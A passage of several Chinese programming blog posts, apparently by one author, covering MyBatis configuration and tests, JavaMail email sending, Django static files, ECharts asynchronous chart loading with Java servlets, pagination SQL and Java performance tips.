数据库连接信息 --> <property name="driver" value="${driver}"/> <property name="url" value="${url}"/> <property name="username" value="${username}"/> <property name="password" value="${password}"/> </dataSource> </environment> </environments> <!-- 配置映射文件 有三种方式 xml.文件,类,file: --> <mappers> <mapper resource="com/wy/bean/StudentMapper.xml"/> <mapper resource="com/wy/bean/ClassesMapper.xml"/> </mappers> </configuration> config.properties 数据库配置文件 #dateSource propertie url =jdbc:mysql://localhost:3306/mybatis driver =com.mysql.jdbc.Driver username =root password = log4j.properties 日志配置 # Global logging configuration log4j.rootLogger=ERROR, stdout # Console output... log4j.appender.stdout=org.apache.log4j.ConsoleAppender log4j.appender.stdout.layout=org.apache.log4j.PatternLayout log4j.appender.stdout.layout.ConversionPattern=%5p [%t] - %m%n # MyBatis logging configuration... log4j.logger.com.wy.bean.StudentMapper=TRACE log4j.logger.com.wy.bean.ClassesMapper=TRACE Mapper XML 映射文件 StudentMapper.xml <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd"> <mapper namespace="com.wy.bean.StudentMapper"> <!-- 根据名字查找学生 --> <!-- 注意:在mybatis-config.xml没有配置类别名的时候需要写上类的全路径 com.wy.bean.Student--> <select id="selectStudentBySname" resultType="Student" parameterType="Student"> select * from student where sname = #{sname} </select> <!-- 查找所有学生 返回的是一个list集合 --> <select id="selectAllStudent" resultType="Student"> select * from student </select> </mapper> ClassesMapper.xml <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd"> <mapper namespace="com.wy.bean.ClassesMapper"> <!-- 开启缓存 --> <cache/> <!-- 查找所有班级 --> <select id="selectAllClasses" resultType="Classes"> select * from classes </select> <resultMap id="studentResultMap" type="Classes"> <id property="cid" column="cid" /> <result property="cname" column="cname"/> <!-- 如果是一对多关系则用collection 一个班级对应对个学生--> <collection property="student" ofType="Student"> <id property="sid" column="sid"/> <result property="sname" column="sname"/> </collection> </resultMap> <!-- 根据班级名查找所有学生 --> <!-- 因为查到的结果集并不是只有班级,还有多个学生,因此需要在classes类中写上学生 --> <select id="selectStudentByClassesCName" parameterType="Classes" resultMap="studentResultMap"> select classes.cid as cid,cname,sid,sname from student left join classes on student.cid = classes.cid where cname = #{cname} </select> <!-- <association property="student" javaType="Student"> <id property="sid" column="sid"/> <result property="sname" column="sname"/> </association> --> </mapper> 使用Junit测试 package com.wy.test; import java.io.IOException; import java.io.InputStream; import java.util.List; import org.apache.ibatis.io.Resources; import org.apache.ibatis.session.SqlSession; import org.apache.ibatis.session.SqlSessionFactory; import org.apache.ibatis.session.SqlSessionFactoryBuilder; import org.junit.Test; import com.wy.bean.Classes; import com.wy.bean.Student; /** * 测试sqlsession是否创建成果 * @author 沪旦铭 * */ public class MyTest { static SqlSession sqlSession ; static { String resource = "mybatis-config.xml"; InputStream inputStream = null; try { inputStream = Resources.getResourceAsStream(resource); } catch (IOException e) { e.printStackTrace(); } SqlSessionFactory sqlSessionFactory = new SqlSessionFactoryBuilder().build(inputStream); //建立Sqlsession sqlSession = sqlSessionFactory.openSession(); } @Test public void selectStudentBySname() throws IOException { //通过sqlSession去执行sqlQurey //参数说明: xml配置文件.执行的id Student s = new Student(); s.setSname("沪旦铭"); Student stu = sqlSession.selectOne("com.wy.bean.StudentMapper.selectStudentBySname",s); System.out.println( stu.getSname() ); /* DEBUG [main] - ==> Preparing: select * from student where sname = ? DEBUG [main] - ==> Parameters: 沪旦铭(String) TRACE [main] - <== Columns: sid, sname, spwd, cid TRACE [main] - <== Row: 2, 沪旦铭, a, 1 DEBUG [main] - <== Total: 1 沪旦铭 */ } //查找所有学生信息 @Test public void selectAllStudent() { List<Student> list = sqlSession.selectList("com.wy.bean.StudentMapper.selectAllStudent"); for(Student stu:list) { System.out.println( stu.getSname() ); } /* DEBUG [main] - ==> Preparing: select * from student DEBUG [main] - ==> Parameters: TRACE [main] - <== Columns: sid, sname, spwd, cid TRACE [main] - <== Row: 1, 文章, a, 1 TRACE [main] - <== Row: 2, 沪旦铭, a, 1 TRACE [main] - <== Row: 3, 马伊琍, a, 1 TRACE [main] - <== Row: 7, 佟大为, a, 2 TRACE [main] - <== Row: 8, 谢娜, a, 2 TRACE [main] - <== Row: 9, 王力宏, a, 3 DEBUG [main] - <== Total: 6 文章 沪旦铭 马伊琍 佟大为 谢娜 王力宏 */ } //查询所有的班级 @Test public void selectAllClasses() { List<Classes> list = sqlSession.selectList("com.wy.bean.ClassesMapper.selectAllClasses"); for(Classes c:list) { System.out.println( c.getCname() ); } /* DEBUG [main] - Cache Hit Ratio [com.wy.bean.ClassesMapper]: 0.0 DEBUG [main] - ==> Preparing: select * from classes DEBUG [main] - ==> Parameters: TRACE [main] - <== Columns: cid, cname TRACE [main] - <== Row: 1, 软件工程一班 TRACE [main] - <== Row: 2, 软件工程二班 TRACE [main] - <== Row: 3, 软件工程三班 DEBUG [main] - <== Total: 3 软件工程一班 软件工程二班 软件工程三班 */ } //根据班级名查找所有的学生 @Test public void selectStudentByClassesCName() { Classes c = new Classes(); c.setCname("软件工程一班"); Classes cla = sqlSession.selectOne("com.wy.bean.ClassesMapper.selectStudentByClassesCName",c); System.out.println( cla.getCname() ); List<Student> stus = cla.getStudent(); for(Student s:stus) { System.out.println( s.getSid()+"\t"+s.getSname() ); } /* DEBUG [main] - Cache Hit Ratio [com.wy.bean.ClassesMapper]: 0.0 DEBUG [main] - ==> Preparing: select classes.cid as cid,cname,sid,sname from student left join classes on student.cid = classes.cid where cname = ? DEBUG [main] - ==> Parameters: 软件工程一班(String) TRACE [main] - <== Columns: cid, cname, sid, sname TRACE [main] - <== Row: 1, 软件工程一班, 1, 文章 TRACE [main] - <== Row: 1, 软件工程一班, 2, 沪旦铭 TRACE [main] - <== Row: 1, 软件工程一班, 3, 马伊琍 DEBUG [main] - <== Total: 3 软件工程一班 1 文章 2 沪旦铭 3 马伊琍 */ } } 更详细的学习参考官方文档即可! MyBatis官方中文网站
计算机网络课程设计竟然是设计邮件系统…晕唉。 邮箱服务涉及SMTP,POP3,MIME等协议,要是让我从最底层去实现,很明显不可能呀[捂脸] 站在前辈的肩上,可以少走很多弯路! 参考资料 http://blog.csdn.net/ghsau/article/details/17839983 https://www.cnblogs.com/xdp-gacl/p/4216311.html 图片来源参考资料2 所需jar包maven依赖 <!-- https://mvnrepository.com/artifact/javax.mail/mail --> <dependency> <groupId>javax.mail</groupId> <artifactId>mail</artifactId> <version>1.4.7</version> </dependency> 具体实现邮件发送 package com.wy.action; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.OutputStream; import java.util.Properties; import javax.activation.DataHandler; import javax.activation.FileDataSource; import javax.mail.BodyPart; import javax.mail.Message; import javax.mail.MessagingException; import javax.mail.Session; import javax.mail.Transport; import javax.mail.internet.AddressException; import javax.mail.internet.InternetAddress; import javax.mail.internet.MimeBodyPart; import javax.mail.internet.MimeMessage; import javax.mail.internet.MimeMultipart; /** * 发送图片邮件 * @author 沪旦铭 * */ public class SendEmail { //用于给用户发送邮件的邮箱 private static String from = ""; //接收人邮箱 private static String to = ""; //邮箱的用户名 这个和from一样的内容 private static String username = ""; //邮箱的密码 注意这个密码 private static String password = ""; //发送邮件的服务器地址 private static String host = "smtp.163.com"; public static void main(String[] args) throws Exception { Properties prop = new Properties(); // 设置邮件服务器主机名 prop.setProperty("mail.host", host); // 发送邮件协议名称 prop.setProperty("mail.transport.protocol", "smtp"); // 发送服务器需要身份验证 prop.setProperty("mail.smtp.auth", "true"); // 开启debug调试 prop.setProperty("mail.debug", "true"); //使用JavaMail发送邮件的5个步骤 //1、创建session Session session = Session.getInstance(prop); //开启Session的debug模式,这样就可以查看到程序发送Email的运行状态 session.setDebug(true); //2、通过session得到transport对象 Transport ts = session.getTransport(); //3、连上邮件服务器,需要发件人提供邮箱的用户名和密码进行验证 ts.connect(host, SendEmail.username,SendEmail.password ); //4、创建邮件 //4.1创建图片邮件 // Message message = createImageMail(session); //4.2创建附件邮件 // Message message = createAttachMail(session); //4.3创建图片和附件邮件 Message message = createMixedMail(session); //5、发送邮件 ts.sendMessage(message, message.getAllRecipients()); ts.close(); } //创建还有图片的邮件 private static Message createImageMail(Session session) throws AddressException, MessagingException, FileNotFoundException, IOException { //创建邮件 Message message = new MimeMessage( session ); //设置邮件基本信息 message.setFrom(new InternetAddress( SendEmail.from )); //收件人 Message.RecipientType.TO //Message.RecipientType.BCC 密送人 (即抄送人不知道) //Message.RecipientType.CC 抄送人 message.setRecipient(Message.RecipientType.TO, new InternetAddress( SendEmail.to)); //设置邮箱主题|邮箱标题 message.setSubject("这是一张图片"); //准备邮件正文数据 MimeBodyPart part = new MimeBodyPart(); part.setContent("这是一封有图片的邮件<img src='cid:1.jpg'>", "text/html;charset=UTF-8"); //准备图片数据 MimeBodyPart image = new MimeBodyPart(); DataHandler dh = new DataHandler(new FileDataSource("g://header.jpg")); image.setDataHandler(dh); image.setContentID("1.jpg"); //描述数据关系 MimeMultipart mm = new MimeMultipart(); mm.addBodyPart(part); mm.addBodyPart(image); mm.setSubType("related"); message.setContent(mm); message.saveChanges(); //保存邮件到本地 message.writeTo( new FileOutputStream("g://imageEmail.eml") ); return message; } //附件邮件发送 public static MimeMessage createAttachMail(Session session) throws Exception{ //创建邮件 MimeMessage message = new MimeMessage( session ); //设置邮件基本信息 message.setFrom(new InternetAddress( SendEmail.from )); //收件人 message.setRecipient(Message.RecipientType.TO, new InternetAddress(SendEmail.to)); //设置邮箱主题|邮箱标题 message.setSubject("附件邮件发送"); //创建邮件正文,为了避免邮件正文中文乱码问题,需要使用charset=UTF-8指明字符编码 MimeBodyPart text = new MimeBodyPart(); text.setContent("使用JavaMail创建的带附件的邮件", "text/html;charset=UTF-8"); //创建邮件附件 MimeBodyPart attach = new MimeBodyPart(); attach.attachFile("g://header.jpg"); //创建容器描述数据关系 MimeMultipart mp = new MimeMultipart(); mp.addBodyPart(text); mp.addBodyPart(attach); mp.setSubType("mixed"); message.setContent(mp); message.saveChanges(); //将创建的Email写入到g盘存储 message.writeTo(new FileOutputStream("g://attachMail.eml")); //返回生成的邮件 return message; } //创建图片和附件邮件 private static MimeMessage createMixedMail(Session session) throws AddressException, MessagingException, IOException { //创建邮件 MimeMessage message = new MimeMessage( session ); //设置邮件基本信息 message.setFrom(new InternetAddress( SendEmail.from )); //收件人 message.setRecipient(Message.RecipientType.TO, new InternetAddress(SendEmail.to)); //设置邮箱主题|邮箱标题 message.setSubject("图片和附件邮件发送"); //准备邮件正文数据 MimeBodyPart text = new MimeBodyPart(); text.setContent("这是图片邮件,当然包括附件<img src='cid:1.jpg'>", "text/html;charset=UTF-8"); //准备图片数据 MimeBodyPart image = new MimeBodyPart(); DataHandler dh = new DataHandler(new FileDataSource("g://header.jpg")); image.setDataHandler(dh); image.setContentID("1.jpg"); //创建邮件附件 MimeBodyPart attach = new MimeBodyPart(); attach.attachFile("g://header.jpg"); //创建容器描述数据关系 MimeMultipart mp = new MimeMultipart(); mp.addBodyPart(text); mp.addBodyPart(image); mp.addBodyPart(attach); mp.setSubType("mixed"); message.setContent(mp); message.saveChanges(); return message; } }
跟着mybatis官方文档再次学习mybatis,果然,还是不记得一些配置了… 同时,官方文档也是坑小白哦 官方文档中文 http://www.mybatis.org/mybatis-3/zh/getting-started.html 在使用xml配置文件进行sqlsession获取的时候出现以下报错 org.apache.ibatis.exceptions.PersistenceException: ### Error building SqlSession. ### The error may exist in com/wy/bean/StudentMapper.xml ### Cause: org.apache.ibatis.builder.BuilderException: Error parsing SQL Mapper Configuration. Cause: org.apache.ibatis.builder.BuilderException: Error parsing Mapper XML. Cause: org.apache.ibatis.builder.BuilderException: Error resolving class. Cause: org.apache.ibatis.type.TypeException: Could not resolve type alias 'Student'. Cause: java.lang.ClassNotFoundException: Cannot find class: Student 看报错提示很明显知道是Student这个类找不到,同时提示了可能发生错误的地方是 The error may exist in com/wy/bean/StudentMapper.xml 以下是我的mapper文件 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd"> <mapper namespace="com.wy.bean.StudentMapper"> <!-- 查找所有学生 --> <select id="selectAllStudent" resultType="Student" > select * from student </select> </mapper> 官方的mapper配置文件 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd"> <mapper namespace="org.mybatis.example.BlogMapper"> <select id="selectBlog" resultType="Blog"> select * from Blog where id = #{id} </select> </mapper> 仔细看resultType那块!直接是一个类名,然而在mybatis-config.xml中也没有配置类别名的相关配置,SO,被文档坑了… 解决方案 在mybatis-config.xml没有配置类别名的时候需要写上类的全路径 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd"> <mapper namespace="com.wy.bean.StudentMapper"> <!-- 查找所有学生 --> <!-- 注意:在mybatis-config.xml没有配置类别名的时候需要写上类的全路径 --> <select id="selectAllStudent" resultType="com.wy.bean.Student" > select * from student </select> </mapper>
这两天学习了Django的基本使用,对于MVT架构还是比较好理解的呀。 先看一下我项目的架构 所有的静态文件都放在static文件夹目录下 设置项目settings.py文件 # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.11/howto/static-files/ #静态文件设置 这里是静态文件夹 STATIC_URL = '/static/' #静态文件路径 很好奇这块代码官方竟然代码官方竟然没有给出... STATICFILES_DIRS = ( # Put strings here, like "/home/html/static" or "C:/www/django/static". # Always use forward slashes, even on Windows. # Don't forget to use absolute paths, not relative paths. os.path.join(BASE_DIR, 'static/'), ) 网页中的静态文件引入 <link rel="stylesheet" type="text/css" href="../static/style/register-login.css"> over!
这个问题…烦了一下午… 在进行数据异步加载的时候数据出现了问题。 后台传到前台的数据正常,但是echarts显示数据多了一组,而这组数据正是前一步操作的。 可以看出有只查询了2017-9 和 2017-10的数据 但是却多显示了一组数据! 我以为echarts的设计是每次初始化的数据都是重新加载,然而并不是,表示不太懂为什么要这么设计? 在官方的文档中有一个说明! 可以知道,每次执行的数据都是被保留了的! 继续看文档,发现一个clear函数,OK,问题可以解决了 只要每次初始化在clear一下就OK~ var myChart = echarts.init(document.getElementById('main')); myChart.clear();
说明 创建的maven项目 需要echarts.js和jquery.js echarts.min.js jquery-3.2.1.min.js 官网介绍 Echarts官网链接 初步教程 初步教程,搭建环境 异步加载 异步加载案例有加载一组数据 加载两组数据 加载饼图数据 加载一组数据 前台处理 首先看加载条形图的数据结构 option = { title: { text: 'ECharts 入门示例' }, tooltip: {}, legend: { data:['销量'] }, xAxis: { data: ["衬衫","羊毛衫","雪纺衫","裤子","高跟鞋","袜子"] }, yAxis: {}, series: [{ name: '销量', type: 'bar', data: [5, 20, 36, 10, 10, 20] }] };; 可以看出,我们主要给的数据是xAxis中的data 以及series中的数据 根据官网的试例,我们先搭好结构,发送请求到后台,拿到数据后填充即可! 先设置完其它的样式,显示一个空的直角坐标轴,然后获取数据后填入数据。(官网原话) var myChart = echarts.init(document.getElementById('main')); // 显示标题,图例和空的坐标轴 myChart.setOption({ title: { text: '异步数据加载示例' }, tooltip: {}, legend: { data:['销量'] }, xAxis: { data: [] }, yAxis: {}, series: [{ name: '销量', type: 'bar', data: [] }] }); // 异步加载数据 $.get('data.json').done(function (data) { // 填入数据 myChart.setOption({ xAxis: { data: data.categories }, series: [{ // 根据名字对应到相应的系列 name: '销量', data: data.data }] }); }); 在异步加载数据那里我们可以更改成发送ajax的格式请求 $.ajax({ type : "post", async : true, //异步请求(同步请求将会锁住浏览器,用户其他操作必须等待请求完成才可以执行) url : "getData.action", //请求发送 dataType : "json", //返回数据形式为json success : function(result) { // alert(result.categories); // alert(result.data); //请求成功时执行该函数内容,result即为服务器返回的json对象 if (result) { var categories = result.categories; for(var i=0;i<categories.length;i++){ //alert( categories[i] ); categorie.push( categories[i] ); //挨个取出类别并填入类别数组 } var datas = result.data; for(var i=0;i<datas.length;i++){ data.push( datas[i] ); //挨个取出销量并填入销量数组 } myChart.hideLoading(); //隐藏加载动画 myChart.setOption({ //加载数据图表 xAxis: { data: categorie }, series: [{ // 根据名字对应到相应的系列 name: '销量', data: data }] }); } }, error : function(errorMsg) { //请求失败时执行该函数 alert("图表请求数据失败!"); myChart.hideLoading(); } }) 我们先看看服务器返回的数据结构,返回的数据是result 返回的数据是result含有一个categories数组和data数组,所以拿到数据后处理的核心代码就是这一段 var categories = result.categories; for(var i=0;i<categories.length;i++){ //alert( categories[i] ); categorie.push( categories[i] ); //挨个取出类别并填入类别数组 } var datas = result.data; for(var i=0;i<datas.length;i++){ data.push( datas[i] ); //挨个取出销量并填入销量数组 } 拿到数据后再填充到之前创建好的结构。 myChart.setOption({ //加载数据图表 xAxis: { data: categorie }, series: [{ // 根据名字对应到相应的系列 name: '销量', data: data }] }); 现在前台OK了,后台处理! 后台处理 因为需要传到前台的数据格式为json,这里使用Google的Gson包 提示一下哦,很多初学者找jar包,这个要积分,那个要积分,很痛苦的,如果你需要一些包可以来这里搜索 Maven仓库 Gson包下载地址 注释蛮清楚了,废话不多说,直接代码~ package com.wy.servlets; import java.io.IOException; import java.io.PrintWriter; import java.util.ArrayList; import java.util.Arrays; import java.util.HashMap; import java.util.List; import java.util.Map; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import com.google.gson.Gson; /** * 一组数据异步加载请求处理 * @author 沪旦铭 * */ public class EchartsOneServlet extends HttpServlet { private static final long serialVersionUID = 694540269429637504L; //重写POST方法 @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { Gson gson = new Gson(); //传入前台的数据 Map<String,Object> map = new HashMap<String,Object>(); // categories: ["衬衫","羊毛衫","雪纺衫","裤子","高跟鞋","袜子"], // data: [5, 20, 36, 10, 10, 20] List<String> categories = Arrays.asList("衬衫","羊毛衫","雪纺衫","裤子","高跟鞋","袜子"); //new ArrayList<String>(); List<Integer> data = Arrays.asList(5, 20, 36, 10, 10, 20); //new ArrayList<Integer>(); map.put("categories", categories); map.put("data", data); //设置返回类型以及编码编码,否则中文会出现乱码情况 resp.setContentType("application/json;charset=UTF-8"); //传到前台 PrintWriter out = resp.getWriter(); out.print( gson.toJson(map) ); out.flush(); out.close(); } } 多组数据 多组数据和一组数据差不多,主要看所需要的格式 关键就是这一部分 series:[{ name: '销量', //鼠标放在柱状图上显示的文字 type: 'bar', //柱状图 data: [5, 20, 36, 10, 10, 20] },{ name: '第二组数据', //鼠标放在柱状图上显示的文字 type: 'bar', //柱状图 data: [4, 21, 30, 21, 12, 66] }] 前端处理 <!-- 多组数据异步加载 --> <!-- 为ECharts准备一个具备大小(宽高)的Dom --> <div id="main2" style="width: 600px;height:400px;"></div> <script type="text/javascript"> //初始化echarts var myChart2 = echarts.init(document.getElementById('main2')); // 显示标题,图例和空的坐标轴 myChart2.setOption({ title: { text: '多组数据异步数据加载示例' }, tooltip: {}, legend: { data:[] //这里也需要填充 '第一组数据','第二组数据' }, xAxis: { data: [] }, yAxis: {}, series: [{ name: '销量', //这个可不用写 type: 'bar', //这个可不用写 data: [] }] }); myChart2.showLoading(); //数据加载完之前先显示一段简单的loading动画 var categorie2 = []; //类别数组(实际用来盛放X轴坐标值) $.ajax({ type : "post", async : true, //异步请求(同步请求将会锁住浏览器,用户其他操作必须等待请求完成才可以执行) url : "getDataMany.action", //请求发送 dataType : "json", //返回数据形式为json success : function(result) { //请求成功时执行该函数内容,result即为服务器返回的json对象 if (result) { var categories = result.categories; for(var i=0;i<categories.length;i++){ //alert( categories[i] ); categorie2.push( categories[i] ); //挨个取出类别并填入类别数组 } var datas = result.data; //data返回的数值数数值 包括 name type data var legend = []; // var series = []; for(var i = 0;i<datas.length;i++){ var s = datas[i]; //alert( s['name'] ); //alert( s['data'] ); legend.push( s['name'] ); series.push({ name: s['name'], type: 'bar', data: s['data'] }); } //alert(series); myChart2.hideLoading(); //隐藏加载动画 myChart2.setOption({ //加载数据图表 legend:{ data: legend }, xAxis: { data: categorie2 // X坐标数值 }, series: series }); } }, error : function(errorMsg) { //没做出错处理 //请求失败时执行该函数 alert("图表请求数据失败!"); myChart2.hideLoading(); } }) </script> 后台处理 后台给好数据结构即可 package com.wy.servlets; import java.io.IOException; import java.io.PrintWriter; import java.util.ArrayList; import java.util.Arrays; import java.util.HashMap; import java.util.List; import java.util.Map; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import com.google.gson.Gson; /** * 多组数据异步加载请求处理 * @author 沪旦铭 * */ public class EchartsManyServlet extends HttpServlet { private static final long serialVersionUID = -360655681801936072L; @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { Gson gson = new Gson(); //转载数据 Map<String,Object> map = new HashMap<String,Object>(); List<String> categories = Arrays.asList("衬衫","羊毛衫","雪纺衫","裤子","高跟鞋","袜子"); //用来填充X坐标 //用来存取多个数据 List<Object> manyList = new ArrayList<Object>(); //第一组数据 //name type data Map<String,Object> many = new HashMap<String,Object>(); many.put("name", "第一组数据"); many.put("type", "bar"); //第一组数据 List<Integer> data = Arrays.asList(5, 20, 36, 10, 10, 20); many.put("data", data); //装入 manyList.add(many); //第二组数据 Map<String,Object> many2 = new HashMap<String,Object>(); many2.put("name", "第二组数据"); many2.put("type", "bar"); //第一组数据 List<Integer> data2 = Arrays.asList(4, 10, 26, 15, 18, 20); many2.put("data", data2); //装入 manyList.add(many2); map.put("categories", categories); map.put("data", manyList); //设置返回类型以及编码编码,否则中文会出现乱码情况 resp.setContentType("application/json;charset=UTF-8"); //传到前台 PrintWriter out = resp.getWriter(); out.print( gson.toJson(map) ); out.flush(); out.close(); } } 饼图异步加载 其实饼图和条形图类似,直接上代码吧 前端处理 <!-- 饼图异步加载 --> <!-- 为ECharts准备一个具备大小(宽高)的Dom --> <div id="main3" style="width: 600px;height:400px;"></div> <script type="text/javascript"> //初始化echarts var myChart3 = echarts.init(document.getElementById('main3')); // 显示标题,图例和空的坐标轴 myChart3.setOption({ backgroundColor: '#FFFFFF', //设置背景颜色 #FFFFFF 2c343c title: { text: '饼图异步加载试列', x: 'center' //居中显示 }, tooltip: { show: true }, legend: { data:[] //这里也需要填充 '第一组数据','第二组数据' }, xAxis: { data: [] }, yAxis: {}, series: [{ name: '', type: 'pie', radius: '55%', //半径 可调整饼图大小 data: [ ] }] }); myChart3.showLoading(); //数据加载完之前先显示一段简单的loading动画 //发送请求 $.ajax({ type : "post", async : true, //异步请求(同步请求将会锁住浏览器,用户其他操作必须等待请求完成才可以执行) url : "getPieData.action", //请求发送 dataType : "json", //返回数据形式为json success : function(result) { //请求成功时执行该函数内容,result即为服务器返回的json对象 if (result) { var series = []; var legend = []; // for(var i=0;i<result.length;i++){ var res = result[i]; // alert( res.value ); legend.push( res.name ); series.push({ value: res.value, name: res.name }); } myChart3.hideLoading(); //隐藏加载动画 myChart3.setOption({ //加载数据图表 tooltip:{ //设置鼠标放在图形上提示的数据格式 可不设置tooltip trigger: 'item', formatter: "{a}<br/>{b} : {c}({d}%)" }, xAxis: { //隐藏X轴 show: false }, yAxis: { //隐藏Y轴 show: false }, legend:{ orient: 'vertical', left: 'left', data: legend }, series: { name: '访问来源', type: 'pie', //这个类型不能少,否则js会报错 data: series } }); } }, error : function(errorMsg) { //没做出错处理 //请求失败时执行该函数 alert("图表请求数据失败!"); myChart3.hideLoading(); } }) </script> 后台处理 package com.wy.servlets; import java.io.IOException; import java.io.PrintWriter; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import com.google.gson.Gson; public class EchartsPieServlet extends HttpServlet { private static final long serialVersionUID = 6511473073444195224L; @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { //前台所需格式 // {value:235, name:'视频广告'}, // {value:274, name:'联盟广告'}, // {value:310, name:'邮件营销'}, // {value:335, name:'直接访问'}, // {value:400, name:'搜索引擎'} Gson gson = new Gson(); List<Object> list = new ArrayList<Object>(); //数据库查询可循环处理 Map<String,Object> map = new HashMap<String,Object>(); map.put("value", 235); map.put("name", "视频广告"); list.add(map); Map<String,Object> map2 = new HashMap<String,Object>(); map2.put("value", 274); map2.put("name", "联盟广告"); list.add(map2); Map<String,Object> map3 = new HashMap<String,Object>(); map3.put("value", 310); map3.put("name", "邮件营销"); list.add(map3); Map<String,Object> map4 = new HashMap<String,Object>(); map4.put("value", 335); map4.put("name", "直接访问"); list.add(map4); Map<String,Object> map5 = new HashMap<String,Object>(); map5.put("value", 400); map5.put("name", "搜索引擎"); list.add(map5); //设置相应contentType resp.setContentType("application/json;charset=UTF-8"); PrintWriter out = resp.getWriter(); out.println( gson.toJson(list) ); out.flush(); out.close(); } } web.xml配置 <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance http://www.springmodules.org/schema/cache/springmodules-cache.xsd http://www.springmodules.org/schema/cache/springmodules-ehcache.xsd" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd" metadata-complete="true" version="3.0"> <display-name>Archetype Created Web Application</display-name> <!-- 配置一组数据处理 --> <servlet> <servlet-name>echartsOneServlet</servlet-name> <servlet-class>com.wy.servlets.EchartsOneServlet</servlet-class> </servlet> <!-- 配置多组数据处理 --> <servlet> <servlet-name>echartsManyServlet</servlet-name> <servlet-class>com.wy.servlets.EchartsManyServlet</servlet-class> </servlet> <!-- 饼图 --> <servlet> <servlet-name>echartsPieServlet</servlet-name> <servlet-class>com.wy.servlets.EchartsPieServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>echartsOneServlet</servlet-name> <url-pattern>/getData.action</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>echartsManyServlet</servlet-name> <url-pattern>/getDataMany.action</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>echartsPieServlet</servlet-name> <url-pattern>/getPieData.action</url-pattern> </servlet-mapping> </web-app> 整个项目请移步 Echarts.7z 效果图 你猜,com.wy这个wy是什么意思呢…
模拟分页查询处理 Mysql select * from students limit(page- 1) * pageSize,pageSize; Oracle oracle数据库需要创建一个伪列 select * from ( select rownum rn,* from students ) where rn<=5 and rn>=3 ; 简单粗暴高效.
大多数开发人员理所当然地以为性能优化很复杂,需要大量的经验和知识。好吧,不能说这是完全错误的。优化应用程序以获得最佳性能不是一件容易的事情。但是,这并不意味着如果你不具备这些知识,就不能做任何事情。这里有11个易于遵循的建议和最佳实践可以帮助你创建一个性能良好的应用程序。 大部分建议是针对Java的。但也有若干建议是与语言无关的,可以应用于所有应用程序和编程语言。在讨论专门针对Java的性能调优技巧之前,让我们先来看看通用技巧。 1.在你知道必要之前不要优化 这可能是最重要的性能调整技巧之一。你应该遵循常见的最佳实践做法并尝试高效地实现用例。但是,这并不意味着在你证明必要之前,你应该更换任何标准库或构建复杂的优化。 在大多数情况下,过早优化不但会占用大量时间,而且会使代码变得难以阅读和维护。更糟糕的是,这些优化通常不会带来任何好处,因为你花费大量时间来优化的是应用程序的非关键部分。 那么,你如何证明你需要优化一些东西呢? 首先,你需要定义应用程序代码的速度得多快,例如,为所有API调用指定最大响应时间,或者指定在特定时间范围内要导入的记录数量。在完成这些之后,你就可以测量应用程序的哪些部分太慢需要改进。然后,接着看第二个技巧。 2.使用分析器查找真正的瓶颈 在你遵循第一个建议并确定了应用程序的某些部分需要改进后,那么从哪里开始呢? 你可以用两种方法来解决问题: 查看你的代码,并从看起来可疑或者你觉得可能会产生问题的部分开始。 或者使用分析器并获取有关代码每个部分的行为和性能的详细信息。 希望不需要我解释为什么应该始终遵循第二种方法的原因。 很明显,基于分析器的方法可以让你更好地理解代码的性能影响,并使你能够专注于最关键的部分。如果你曾使用过分析器,那么你一定记得曾经你是多么惊讶于一下就找到了代码的哪些部分产生了性能问题。老实说,我第一次的猜测不止一次地导致我走错了方向。 3.为整个应用程序创建性能测试套件 这是另一个通用技巧,可以帮助你避免在将性能改进部署到生产后经常会发生的许多意外问题。你应该总是定义一个测试整个应用程序的性能测试套件,并在性能改进之前和之后运行它。 这些额外的测试运行将帮助你识别更改的功能和性能副作用,并确保不会导致弊大于利的更新。如果你工作于被应用程序若干不同部分使用的组件,如数据库或缓存,那么这一点就尤其重要。 4.首先处理最大的瓶颈 在创建测试套件并使用分析器分析应用程序之后,你可以列出一系列需要解决以提高性能的问题。这很好,但它仍然不能回答你应该从哪里开始的问题。你可以专注于速效方案,或从最重要的问题开始。 速效方案一开始可能会很有吸引力,因为你可以很快显示第一个成果。但有时,可能需要你说服其他团队成员或管理层认为性能分析是值得的——因为暂时看不到效果。 但总的来说,我建议首先处理最重要的性能问题。这将为你提供最大的性能改进,而且可能再也不需要去解决其中一些为了满足性能需求的问题。 常见的性能调整技巧到此结束。下面让我们仔细看看一些特定于Java的技巧。 5.使用StringBuilder以编程方式连接String 有很多不同的选项来连接Java中的String。例如,你可以使用简单的+或+ =,以及StringBuffer或StringBuilder。 那么,你应该选择哪种方法? 